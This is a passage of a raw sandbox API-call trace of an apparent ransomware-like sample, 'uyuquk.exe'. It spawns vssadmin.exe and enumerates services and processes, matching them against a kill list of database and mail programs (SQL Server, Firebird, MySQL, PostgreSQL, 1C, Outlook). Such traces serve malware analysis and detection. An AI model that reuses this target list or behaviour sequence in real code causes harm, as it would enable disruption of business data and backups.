lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0041.724] lstrlenW (lpString="uyuquk.exe") returned 10 [0041.724] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.725] lstrlenW (lpString="cmd.exe") returned 7 [0041.725] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.725] lstrlenW (lpString="conhost.exe") returned 11 [0041.725] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.726] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.726] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0041.726] lstrlenW (lpString="VSSVC.exe") returned 9 [0041.726] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.727] lstrlenW (lpString="svchost.exe") returned 11 [0041.727] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0041.727] CloseHandle (hObject=0x1f0) returned 1 [0041.727] Sleep (dwMilliseconds=0x1f4) [0042.576] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d40 [0042.576] EnumServicesStatusExW (in: hSCManager=0x566d40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0042.577] GetLastError () returned 0xea [0042.577] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0042.577] EnumServicesStatusExW (in: hSCManager=0x566d40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0042.578] CloseServiceHandle (hSCObject=0x566d40) returned 1 [0042.578] lstrlenW (lpString="Appinfo") returned 7 [0042.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.578] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.578] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.578] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.578] lstrlenW (lpString="AudioSrv") returned 8 [0042.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.578] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.578] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.578] lstrlenW (lpString="BFE") returned 3 [0042.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.578] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.578] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.578] lstrlenW (lpString="CryptSvc") returned 8 [0042.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.579] lstrlenW (lpString="CscService") returned 10 [0042.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.579] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.579] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.579] lstrlenW (lpString="DcomLaunch") returned 10 [0042.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.579] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.579] lstrlenW (lpString="Dhcp") returned 4 [0042.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.579] lstrlenW (lpString="Dnscache") returned 8 [0042.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.579] lstrlenW (lpString="DPS") returned 3 [0042.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.579] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.579] lstrlenW (lpString="eventlog") returned 8 [0042.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.579] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.579] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.580] lstrlenW (lpString="EventSystem") returned 11 [0042.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.580] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.580] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.580] lstrlenW (lpString="gpsvc") returned 5 [0042.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.580] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.580] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.580] lstrlenW (lpString="iphlpsvc") returned 8 [0042.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.580] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.580] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.580] lstrlenW (lpString="LanmanServer") returned 12 [0042.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.580] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.580] lstrlenW (lpString="lmhosts") returned 7 [0042.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.580] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.580] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.581] lstrlenW (lpString="MMCSS") returned 5 [0042.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.581] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.581] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.581] lstrlenW (lpString="MpsSvc") returned 6 [0042.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.581] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.581] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.581] lstrlenW (lpString="Netman") returned 6 [0042.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.581] lstrlenW (lpString="netprofm") returned 8 [0042.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.581] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.581] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.581] lstrlenW (lpString="NlaSvc") returned 6 [0042.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.581] lstrlenW (lpString="nsi") returned 3 [0042.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.581] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.581] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.582] lstrlenW (lpString="PcaSvc") returned 6 [0042.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.582] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.582] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.582] lstrlenW (lpString="PlugPlay") returned 8 [0042.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.582] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.582] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.582] lstrlenW (lpString="Power") returned 5 [0042.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.582] lstrlenW (lpString="ProfSvc") returned 7 [0042.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.582] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.582] lstrlenW (lpString="RpcSs") returned 5 [0042.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.583] lstrlenW (lpString="SamSs") returned 5 [0042.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.583] lstrlenW (lpString="Schedule") returned 8 [0042.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.583] lstrlenW (lpString="SENS") returned 4 [0042.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.583] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.583] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.583] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.583] lstrlenW (lpString="Spooler") returned 7 [0042.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.583] lstrlenW (lpString="swprv") returned 5 [0042.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0042.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0042.583] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0042.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0042.584] lstrlenW (lpString="SysMain") returned 7 [0042.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.584] lstrlenW (lpString="Themes") returned 6 [0042.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.584] lstrlenW (lpString="TrkWks") returned 6 [0042.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.584] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.584] lstrlenW (lpString="UxSms") returned 5 [0042.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.584] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.584] lstrlenW (lpString="VSS") returned 3 [0042.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0042.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0042.584] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0042.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0042.584] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.585] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.585] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.585] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.585] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.585] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.585] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.585] lstrlenW (lpString="Winmgmt") returned 7 [0042.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.585] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.585] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.585] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.585] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0042.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0042.588] Process32FirstW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.588] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.589] lstrlenW (lpString="System") returned 6 [0042.589] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.589] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.589] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.589] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.589] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.589] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.589] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.589] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.589] lstrlenW (lpString="smss.exe") returned 8 